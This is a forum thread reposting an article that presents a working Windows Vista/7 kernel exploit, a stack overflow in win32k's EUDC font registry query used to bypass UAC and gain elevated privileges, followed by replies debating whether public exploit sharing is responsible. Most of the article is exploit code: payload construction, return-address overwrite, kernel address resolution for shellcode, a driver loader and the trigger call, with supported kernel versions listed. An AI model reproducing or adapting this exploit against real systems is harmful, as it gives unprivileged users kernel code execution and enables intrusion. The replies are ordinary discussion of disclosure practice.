Jump to content
pr0n

Bypassing UAC with User Privilege under Windows Vista/7

Recommended Posts

A Design Flaw in Windows Kernel API Leads to Security Breakdown

 

* Download poc - 493.22 KB

 

Introduction

I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control.

 

The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried.

Using the code

 

In this example, I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queries HKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack.

 

.text:BF81BA91                 push    esi             ; Environment
.text:BF81BA92                 push    esi             ; Context
.text:BF81BA93                 push    offset [email protected]@[email protected]@A ; QueryTable
.text:BF81BA98                 push    edi             ; Path
.text:BF81BA99                 lea     eax, [ebp+DestinationString]
.text:BF81BA9C                 push    esi             ; RelativeTo
.text:BF81BA9D                 mov     [email protected]@[email protected]@A.QueryRoutine, esi ; _RTL_QUERY_REGISTRY_TABLE * SharedQueryTable
.text:BF81BAA3                 mov     [email protected]@[email protected]@A.Flags, 24h
.text:BF81BAAD                 mov     [email protected]@[email protected]@A.Name, offset aSystemdefaulte ; "SystemDefaultEUDCFont"
.text:BF81BAB7                 mov     [email protected]@[email protected]@A.EntryContext, eax
.text:BF81BABC                 mov     [email protected]@[email protected]@A.DefaultType, esi
.text:BF81BAC2                 mov     [email protected]@[email protected]@A.DefaultData, esi
.text:BF81BAC8                 mov     [email protected]@[email protected]@A.DefaultLength, esi
.text:BF81BACE                 mov     dword_BFA198FC, esi
.text:BF81BAD4                 mov     dword_BFA19900, esi
.text:BF81BADA                 mov     dword_BFA19904, esi
.text:BF81BAE0                 call    ds:[email protected] ; RtlQueryRegistryValues(x,x,x,x,x)
.text:BF81BAE6                 mov     [ebp+var_8], eax

 

Stack trace shows the calling process is as follows:

 

GDI32.EnableEUDC ->

NtGdiEnableEudc ->

GreEnableEUDC ->

sub_BF81B3B4 ->

sub_BF81BA0B ->

RtlQueryRegistryValues (Overflow occurs)

 

Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate "cmd.exe” process privilege regardless of UAC.

 

// Allocate buffer for the driver
LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));    

BYTE* pMem;            // shellcode
DWORD ExpSize = 0;

BYTE RegBuf[0x40] = {0};    // reg binary buffer

pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pMem, Data, sizeof(Data));                // Copy shellcode 

*(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem;        // Point return value to our buffer

ExpSize = 0x28;


The shellcode need some kernel APIs, we need to get their addresses from the running kernel.

// Get the running kernel file name
HMODULE hDll = GetModuleHandle(L"ntdll.dll");
pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,"ZwQuerySystemInformation");
PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
ULONG AllocSize = 0;
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);

pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);

//Relocation to the running kernel base
DWORD Delta =  (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;

free(pModInfo);

// For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
// so we need a valid pool address to avoid BSOD.

if(vi.dwBuildNumber < 7600)    
{
   FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);

   HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC");
   PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
   AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
   fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);

   pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
   fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);

   for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
   {
       if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
       {
           *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18;
           break;
       }
   }
   free(pHandleInfo);
}
else
{
   FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);
}

// Now fills the API addresses needed
FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);
FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);
FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);
FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);
FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);
FreeLibrary(hKernel);

// Here we tell the shellcode(PE loader) where the driver buffer is.
FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));
FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);

 

Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit.

 

UINT codepage = GetACP();
TCHAR tmpstr[256];
_stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage);        // Get current code page
HKEY hKey;
RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));

RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);

__try
{
   EnableEUDC(TRUE);    
}
__except(1)
{
}
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
RegCloseKey(hKey);

 

After running this PoC, just type "whoami" in command prompt to see the escalated user credentials.

Points of Interest

All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.

 

Additional Information

This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:


     
  • Windows Vista/2008 6.1.6000 x32,
  • Windows Vista/2008 6.1.6001 x32,
  • Windows 7 6.2.7600 x32,
  • Windows 7/2008 R2 6.2.7600 x64.

Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.

 

uac.png

 

Source: http://www.codeproject.com

Share this post


Link to post
Share on other sites

that's why we must keep them private ;) ..

In my opinion, knowledge must be shared :)

Share this post


Link to post
Share on other sites

knowledge: yes...

useful tools: yes...

how you can find vulnerabilities and exploit them: yes...

ready exploits: no...

 

ready exploits are not knowledge...

for some people are, because they read the code.. but these people exchange 0day exploits with others and keep them private because they don't like the way script kiddies use them..

Share this post


Link to post
Share on other sites

As you say "for some people are, because they read code". Reading somebody elses code sometimes is a knowledge you can not get from nowhere else.. A technique that you hadnt though about, a trick, a view into a different way

of thinking and tackling a problem. Also take into consideration that ready exploits are called Proof of Concept. If responsible disclosure happens before publish the poc, then i dont see any problem with sharing the code...

Share this post


Link to post
Share on other sites

always some script kiddies will take the poc and abuse it..

also there are some other reasons that i don't support public exploit sharing... but i cannot express them in english..

if you want pm me..

Share this post


Link to post
Share on other sites

I agree with Mr oblique.

0-Days are not "for share" for many reasons.

It is 100% sure that will be used by stupid script kiddies for making noise (at least)!

On the other hand, it is true that reading code (often) is better than reading any book.

BUT, in order to be ready to respect the others proof-of-concepts you have to be mature first, inside you, as personality and as a human.

- You have to meet your internal equilibrium and first of all you have to pass the "teenage power syndrome"!

- You have to develop an ability to respect and basically to appreciate the good code.

 

The whole story needs persons that know what have to be publish and what NOT and when.

Silent Persons that never-ever expose others code, but only evaluate inside a closed "community".

ONLY the initial creator has the right to publish the code when he/she believes it is the time!

In addition, 0-day has the following drawback:

You may spend days or months to create it and once it is publish it will be useless in a few days... because of the patch.

Don't forget that in 99% of the cases, the patch is a matter of a few days.

Share this post


Link to post
Share on other sites

×